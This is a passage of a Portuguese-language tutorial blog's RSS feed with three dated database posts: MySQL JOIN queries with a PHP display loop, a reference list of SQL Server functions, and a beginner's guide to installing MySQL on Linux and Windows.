<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">`produtos`.*, `categorias`.`nome` </code><code class="keyword">AS</code> <code class="plain">categoria </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`categorias` </code><code class="keyword">ON</code> <code class="plain">`produtos`.`categoria_id` = `categorias`.`id` </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">`produtos`.`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p>Agora o resultado de `categorias`.`nome` estará presente nos resultados como “categoria” e não “nome”… Sei que parece complicado de início mas vocês vão entender já já.</p>
<p>E por fim, faremos mais uma modificação, pra evitar ficar usando `tabela`.`coluna` também podemos renomear as tabelas, e com isso diminuir otamanho da consulta:</p>
<div id="highlighter_607095" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">p.*, c.`nome` </code><code class="keyword">AS</code> <code class="plain">categoria </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">AS</code> <code class="plain">p </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`categorias` </code><code class="keyword">AS</code> <code class="plain">c </code><code class="keyword">ON</code> <code class="plain">p.`categoria_id` = c.`id` </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">p.`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p>Nesse caso <strong>p</strong> representará a tabela “produtos” e <strong>c</strong> representará a “categorias”.</p>
<p><img style="margin-bottom: 5px; border: silver 1px solid;" src="http://thiagobelem.net/blog/arquivos/2009/08/relacionamento3.jpg" alt="" /> </p>
<p>Sei que parece uma consulta maior e mais complicada… Mas você fará o MySQL trabalhar <span style="text-decoration: underline;">muito menos</span> se fizer assim, com JOINS, do que fazer uma 2ª consulta dentro do while… Essa é a forma mais correta de fazer consultas quando precisamos de informações vindas de mais de uma tabela.</p>
<p>Agora vamos ao nosso novo script de PHP que, sem dúvidas, é bem mais prático e eficiente:</p>
<div id="highlighter_820128" class="syntaxhighlighter syntaxhighl">
<div class="bar         ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object width="16" height="16" type="application/x-shockwave-flash"><param name="id" value="highlighter_820128_clipboard" /></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Consulta que pega todos os produtos e o nome da categoria de cada um </code></span></span></div>
<div class="line alt2 highlighted"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$sql</code> <code class="plain">= </code><code class="string">"SELECT p.*, c.`nome` AS categoria FROM `produtos` AS p INNER JOIN `categorias` AS c ON p.`categoria_id` = c.`id` ORDER BY p.`nome` ASC"</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$query</code> <code class="plain">= mysql_query(</code><code class="variable">$sql</code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">while</code> <code class="plain">(</code><code class="variable">$produto</code> <code class="plain">= mysql_fetch_assoc(</code><code class="variable">$query</code><code class="plain">)) { </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Aqui temos o array $produto com todos os dados encontrados </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Titulo: '</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'nome'</code><code class="plain">] . </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Preço: '</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'preco'</code><code class="plain">] . </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt2 highlighted"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Categoria: '</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'categoria'</code><code class="plain">]. </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'&lt;hr /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<h3>Os outros tipos de JOINs</h3>
<p>Existem também outros dois tipos de JOIN: o <strong>LEFT JOIN</strong> e o <strong>RIGHT JOIN</strong>:</p>
<p>Se usássemos o <strong>LEFT JOIN</strong> seriam retornados todos os produtos, independente se eles estão ligados a uma categoria (na tabela categorias) existente ou não.</p>
<p>Já o <strong>RIGHT JOIN</strong> seria exatamente o contrário: seriam retornados todos os produtos que pertencem categorias existentes e também o nome das outras categorias que não tem ligação com nenhum produto.</p>
<p>O uso desses outros tipos de JOIN é muito raro e acho que não vale a pena ficar filosofando sobre eles enquanto se aprende sobre relacionamentos.</p>
<h3>E a relação com mais de duas tabelas?</h3>
<p>Só pra exemplo, essa seria a consulta que pega os produtos, as categorias e o nome do usuário que cadastrou o produto e filtrando apenas pelos produtos ativos:</p>
<div id="highlighter_15330" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">p.*, c.`nome` </code><code class="keyword">AS</code> <code class="plain">categoria, u.`nome` </code><code class="keyword">AS</code> <code class="plain">usuario </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">AS</code> <code class="plain">p </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`categorias` </code><code class="keyword">AS</code> <code class="plain">c </code><code class="keyword">ON</code> <code class="plain">p.`categoria_id` = c.`id` </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`usuarios` </code><code class="keyword">AS</code> <code class="plain">u </code><code class="keyword">ON</code> <code class="plain">p.`usuario_id` = u.`id` </code><code class="keyword">WHERE</code> <code class="plain">(p.`ativo` = 1) </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">p.`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p> </p>
<p><img style="margin-bottom: 5px; border: silver 1px solid;" src="http://thiagobelem.net/blog/arquivos/2009/08/relacionamento4.jpg" alt="" /></p>
<p>Fonte:thiagobelem.net</p>
<p><a href="http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/">Relacionamento de Tabelas no MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/usar-mysql-com-php/' rel='bookmark' title='Permanent Link: Usar MySQL com PHP'>Usar MySQL com PHP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Funções do Sql Server</title>
		<link>http://brasiltutoriais.com.br/funcoes-do-sql-server/</link>
		<comments>http://brasiltutoriais.com.br/funcoes-do-sql-server/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 19:00:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=205</guid>
		<description><![CDATA[
Algumas das funções do Sql Server

AVG() = Retorna o valor médio de uma coluna específica
BINARY_CHECKSUM() = O valor do BINARY_CHECKSUM computado sobre uma linha ou uma tabela ou sobre uma lista de expressões. BINARY CHECKSUM é usada para detectar alterações em uma linha ou uma tabela.
CHECKSUM() = O valor de CHECKSUM computado sobre uma linha ou [...]<p><a href="http://brasiltutoriais.com.br/funcoes-do-sql-server/">Funções do Sql Server</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/' rel='bookmark' title='Permanent Link: SQL Injection &#8211; Conheça mais sobre esta ferramenta'>SQL Injection &#8211; Conheça mais sobre esta ferramenta</a></li>
<li><a href='http://brasiltutoriais.com.br/funcoes-para-tratamento-de-arrays/' rel='bookmark' title='Permanent Link: Funções para tratamento de Arrays'>Funções para tratamento de Arrays</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/funcoes-do-sql-server/&amp;title=Fun%C3%A7%C3%B5es+do+Sql+Server&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p><span style="color: #9900ff;">Algumas das funções do Sql Server</span></p>
<p><span id="more-205"></span></p>
<p>AVG() = Retorna o valor médio de uma coluna específica<br />
BINARY_CHECKSUM() = O valor do BINARY_CHECKSUM computado sobre uma linha ou uma tabela ou sobre uma lista de expressões. BINARY CHECKSUM é usada para detectar alterações em uma linha ou uma tabela.<br />
CHECKSUM() = O valor de CHECKSUM computado sobre uma linha ou uma tabela, ou sobre uma lista de expressões. CHECKSUM é usada para construir índices de hash.<br />
CHECKSUM_AGG() = O valor de CHECKSUM de um grupo. Valores nulos são ignorados.<br />
COUNT() = Retorna o número de linhas<br />
COUNT_BIG() = igual ao COUNT mas o COUNT_BIG sempre retorna um tipo de dados bigint.<br />
MAX() = Retorna o valor máximo de uma coluna específica<br />
MIN() = Retorna o valor mínimo de uma coluna específica<br />
SUM() = Retorna a soma de uma coluna específica<br />
STDEV() = Desvio padrão de todos os valores<br />
STDEVP() = Desvio padrão da população<br />
VAR() = Variância estatistica de todos os valores<br />
VARP() = Variância estatística de todos os valores da população</p>
<p>Funções de manipulação de strings:</p>
<p>ASCII(string) = pega o valor em ASCII da string<br />
CHAR(integer) = troca inteiro do ASCII em um caráter<br />
LEN(string) = Identifica o comprimento de uma expressão em caracteres<br />
LOWER(string) = converte uma string uppercase para lowercase.<br />
LTRIM(string) = remove os espaços em branco<br />
PATINDEX(posicao, expressao) = devolve a posicão de uma string dentro de um texto. Se não encontrar, retorna zero.<br />
REPLICATE(string, integer) = Repete N vezes um caractere especificado<br />
REVERSE(string) = retorna o inverso de uma expressao<br />
RTRIM (string) = remove os espaços em branco à direita de uma string<br />
SPACE(integer) = que retorna o número de espaços em branco informados no parâmetro<br />
STUFF(string texto, X, Y, string texto_a_inserir) = apaga da string &#8220;texto&#8221; os y caracteres a partir da posição x e os substitui por &#8220;texto_a_inserir&#8221;<br />
SUBSTRING(string texto, posicao_inicial, tamanho) = retorna uma string com o comprimento definido em &#8220;tamanho&#8221; extraida da string &#8220;texto&#8221;, a partir da &#8220;posicao_inicial&#8221;<br />
UPPER(string) = retorna string em maiusculas</p>
<p>Funções de manipulação de data/hora:</p>
<p>nomes das partes de data:</p>
<p>Year = yy, yyyy<br />
Quarter = qualquer, que<br />
Month = mm, m<br />
Dayofyear = dy, y<br />
Day = dd, d<br />
Week = wk, ww<br />
Hour = hh<br />
Minute = mi, n<br />
Second = ss, s<br />
Millisecond = ms</p>
<p>DATEADD (parte, numero, data) = adiciona um valor a parte de uma data<br />
DATEDIFF (parte, data inicial, data final) = subtrai a data inicial da data final, indicando o resultado na unidade definida em &#8220;parte&#8221;<br />
GETDATE() = retorna a data atual do sistema<br />
DATENAME (parte, data) = retorna o nome da parte de uma data<br />
DATEPART(parte, data) = retorna a parte de uma data</p>
<p>Funções de Sistema:</p>
<p>CAST(expressao as datatype) = converte uma expressao no datatype informado<br />
COL_LENGTH(nome_da_tabela, nome_da_coluna) = retorna o tamanho da coluna<br />
COL_NAME(id_da_tabela, id_da_coluna) = retorna o nome da coluna<br />
DATALENGTH(expressao) = retorna o numero de bytes usados para armazenar a expressao<br />
DB_ID(nome_do_banco) = retorna o ID do banco informado<br />
DB_NAME(id_do_banco) = retorna o nome do banco<br />
HOST_ID() = retorna a ID da estação que está acessando o SQL Server<br />
HOST_NAME() = retorna o nome da estação que está acessando o SQL Server<br />
IDENT_INCR(nome_da_tabela_ou_view) = retorna o valor incrementado<br />
IDENT_SEED(tabela_ou_view) = retorna o valor inicial da coluna<br />
INDEX_COL(nome_da_tabela, indice_id, chave_id) = retorna o nome da coluna que participa do índice<br />
ISNULL(expressao, valor) = se a expressao for null, troca pelo valor especificado<br />
ISNUMERIC(expressao) = retorna 1 se a expressao for numerica e 0 se não for<br />
NEWID() = retorna um novo valor do tipo uniqueidentifier<br />
NULLIF(expressao_1, expressao_2) = retorna nulo se as duas expressoes forem equivalentes. Se não forem, retorna a primeira expressao.<br />
OBJECT_ID(nome_do_objeto) = retorna o ID de um objeto, a partir do nome fornecido<br />
OBJECT_NAME(ID_do_objeto) = retorna o nome do objeto, a partir do ID fornecido<br />
PARSENAME(objeto, parte) = retorna a parte do nome de um objeto, desde que tenha sido qualificado<br />
STATS_DATE(tabela_id, indice_id) = retorna a data em que as estatísticas do índice foram atualizadas<br />
SUSER_SID(nome_do_usuario) = retorna o ID do usuario informado<br />
SUSER_NAME(usuario_id) = retorna o id do usuário no servidor. O argumento é opcional.<br />
SUSER_SNAME(id_do_usuario) = retorna o nome do usuario informado. Se nenhum ID de usuario for passado para a função, retorna o nome do usuario logado<br />
USER_ID(nome_do_usuario) = retorna o ID do usuario informado para o BD em uso<br />
USER_NAME(id_do_usuario) = retorna o usuario conectado ao BD</p>
<p>Funções Matematicas:</p>
<p>ABS(numero) = retorna o valor absoluto do numero<br />
ACOS(float) = retorna o arco-coseno do numero informado<br />
ASIN(float) = retorna o arco-seno do numero informado<br />
ATAN(float) = retorna o arco-tangente do numero informado<br />
ATN2(Float expressao_1, float expressao_2) = Arco-tangente do valor definido pela divisão da primeira expressão pela segunda<br />
CEILING(numero) = retorna o menor inteiro que seja maior ou igual ao numero informado<br />
COS(float) = retorna o coseno do numero informado<br />
COT(float) = retorna o cotangente do numero informado<br />
DEGREES(numero) = converte radianos para graus<br />
EXP(float) = retorna o exponencial de um numero especificado<br />
FLOOR(numero) = retorna o maior inteiro que seja menor ou igual ao numero informado<br />
LOG(float) = retorna o logaritmo natural do numero informado<br />
LOG10(float) = retorna o logaritmo base 10 do numero informado<br />
PI() = retorna o valor de PI 3.1415926535897931.<br />
POWER(numero, potencia) = retorna o valor elevado à potencia informada<br />
RADIANS(numero) = converte graus para radianos<br />
RAND(expressao) = um número aleatório entre 0 e 1. Expressão é opcional e será usada como semente da cadeia pseudo-aleatória<br />
ROUND(numero, precisao, arredonda_ou_trancar) = arredonda ou tranca o numero fornecido de acordo com a precisao informada. Se o terceiro parametro não for passado para a funçao, o numero é arredondado. Se quiser que o numero seja truncado, deve-se fornecer o valor 1<br />
SIGN(numero) = retorna sinal positivo, negativo ou zero do numero<br />
SIN(float) = retorna o seno do angulo especificado<br />
SQRT(float) = retorna a raiz quadrada de um numero<br />
TAN(float) = retorna a tangente de um numero informado<br />
SQUARE(float) = retorna o quadrado de um numero</p>
<p>Função de conversão:</p>
<p>CONVERT(tipo(tamanho), expressão, estilo) = converte a expressão para o tipo de dado. O tamanho e o estilo são opcionais</p>
<p><a href="http://brasiltutoriais.com.br/funcoes-do-sql-server/">Funções do Sql Server</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/' rel='bookmark' title='Permanent Link: SQL Injection &#8211; Conheça mais sobre esta ferramenta'>SQL Injection &#8211; Conheça mais sobre esta ferramenta</a></li>
<li><a href='http://brasiltutoriais.com.br/funcoes-para-tratamento-de-arrays/' rel='bookmark' title='Permanent Link: Funções para tratamento de Arrays'>Funções para tratamento de Arrays</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/funcoes-do-sql-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Iniciando o uso do MySQL</title>
		<link>http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/</link>
		<comments>http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 16:41:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=143</guid>
		<description><![CDATA[
Esse artigo tem como objetivo apresentar, para os iniciantes, a metodologia para instalação e configuração inicial do sistema gerenciador de banco de dados MySQL.

Inicialmente, você deverá escolher em qual o Sistema Operacional (SO) você pretende trabalhar, visto que o MySQL possui suporte a um número considerável de SOs. A forma de instalação poderá variar de [...]<p><a href="http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/">Iniciando o uso do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/&amp;title=Iniciando+o+uso+do+MySQL&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Esse artigo tem como objetivo apresentar, para os iniciantes, a metodologia para instalação e configuração inicial do sistema gerenciador de banco de dados MySQL.</p>
<p><span id="more-143"></span></p>
<p>Inicialmente, você deverá escolher em qual o Sistema Operacional (SO) você pretende trabalhar, visto que o MySQL possui suporte a um número considerável de SOs. A forma de instalação poderá variar de um SO para outro. Portanto, aqui serão apresentados os métodos de instalação para o Linux e Windows que são os SOs utilizados com maior freqüência.</p>
<p>Primeiro, você deverá obter o instalador do MySQL, sendo que você poderá optar por fazer uma instalação a partir do código fonte do sistema ou a partir de um binário compilado especificamente para o seu SO. Faça o download do MySQL a partir do endereço www.mysql.com/downloads. A versão em produção do servidor é a 4.0, que no momento da escrita deste artigo está na release 4.0.18. Prefira as releases estáveis para a utilização em ambientes de produção. Existe ainda a versão 4.1, que possui recursos como sub-queries e SSL (tráfego seguro entre o cliente e o servidor), além da versão 5.0 que possui Stored Procedures e cursores, sendo que as duas últimas são versões em desenvolvimento, não sendo recomendada a sua utilização em ambientes de produção. Na página de downloads você também poderá obter ferramentas gráficas para administração do banco de dados tais como MySQLCC e MySQL Administrator, bem como programas para conexão ao sevidor MySQL, sendo elas as APIs e os drivers ODBC e JDBC, respectivamente, o MyODBC e o Connector/J.<br />
Uma vez determinada a versão que se pretende instalar você deverá escolher o SO, por exemplo Windows ou Linux i386, fazer o download dos arquivos e iniciar o procedimento de instalação. Os métodos de instalação para Linux e Windows são apresentados seguir:</p>
<p class="style1" align="justify"><strong>Instalando o MySQL no Linux:</strong></p>
<p class="style1" align="justify">Existem duas formas de instalação do MySQL no Linux, que são o RPM (RedHat Package Management) e o tar.gz, conhecido também como tarball. No primeiro caso, você deverá obter os arquivos MySQL-server-[versão].rpm e MySQL-client-[versão].rpm e executar o comando:</p>
<p class="style1 style2"><strong>shell&gt;rpm -i MySQL-server-[versão].rpm MySQL-client-[versão].rpm</strong></p>
<p class="style1" align="justify">O comando acima instala o servidor e os clientes padrão MySQL, sendo que todos os recursos necessários para a execução do servidor de banco de dados são criados de forma automática. Ao final da operação o MySQL estará em execução. Uma vez instalado o servidor, informe uma senha para o usuário root, que é o administrador do banco de dados:</p>
<p class="style3">shell&gt;mysql -u root<br />
mysql&gt;set password for root=password(&#8217;sua_senha&#8217;);</p>
<p class="style1">Se você optar pela instalação tarball você deverá executar os seguintes passos:</p>
<p class="style1"><strong>1-</strong> Faça o download do arquivo:</p>
<p class="style1"><span class="style2"><strong><span style="color: #003399;">MySQL-[versão].tar.gz</span></strong></span> (usualmente em /usr/local)</p>
<p class="style1"><strong>2-</strong> Descompacte o seguinte arquivo:</p>
<p class="style1 style4">shell&gt; gunzip MySQL-[versão].tar.gz | tar xvf<br />
shell&gt; ln -s MySQL-[versão] mysql</p>
<p class="style1"><strong>3-</strong> Crie o usuário e o grupo mysql:</p>
<p class="style3">shell&gt;groupadd mysql<br />
shell&gt;useradd -g mysql mysql</p>
<p class="style1"><strong>4-</strong> Mude a permissão dos arquivos</p>
<p class="style3">shell&gt;chown mysql.mysql /usr/local/mysql -R</p>
<p class="style1"><strong>5-</strong> Execute o servidor</p>
<p class="style1"><span style="color: #003399;"><span class="style2"><strong>shell&gt;cd /usr/local/mysql<br />
shell&gt;bin/mysqld_safe &amp;</strong></span></p>
<p></span>Assim, o servidor estará em execução e pronto para ser utilizado.</p>
<p class="style1" align="justify">É importante observar que a instalação do MySQL não cria o arquivo de configuração para o servidor, daí você poderá criar o seu próprio arquivo de configuração chamdo my.cnf e colocá-lo no diretório /etc, ou copiar para este diretório &#8211; com o nome de my.cnf &#8211; um dos arquivos de configuração exemplo colocados no /usr/share/mysql. Uma descrição de todos parâmetros de configuração do MySQL pode ser encontrada em www.mysql.com/documentation. De um modo geral, o MySQL pode ser utilizado de forma eficiente, mesmo a partir da sua configuração default.</p>
<p class="style1"><strong>Instalando o MySQL no Windows:</strong></p>
<p class="style1" align="justify">A instalação no Windows é feita através de um setup que instala tanto o servidor quanto os clientes MySQL. Ao final da instalação também será necessário informar uma senha para o usuário root, assim como no Linux. O arquivo de configuração do servidor no Windows fica no win-sys-dir/my.ini. Para iniciar o servidor e configurá-lo você poderá executar o WinMySQLAdmin que é colocado por default em c:\mysql\bin.</p>
<p class="style1">Com isto, podemos iniciar a utilização do MySQL, espero que aproveitem as dicas aqui apresentadas. Em breve estarei de volta com mais detalhes a respeito deste banco de dados.</p>
<p class="style1"><span style="font-size: x-small; font-family: Verdana;">Eber M. Duarte<br />
sqlmagazine.com.br</span></p>
<p><a href="http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/">Iniciando o uso do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
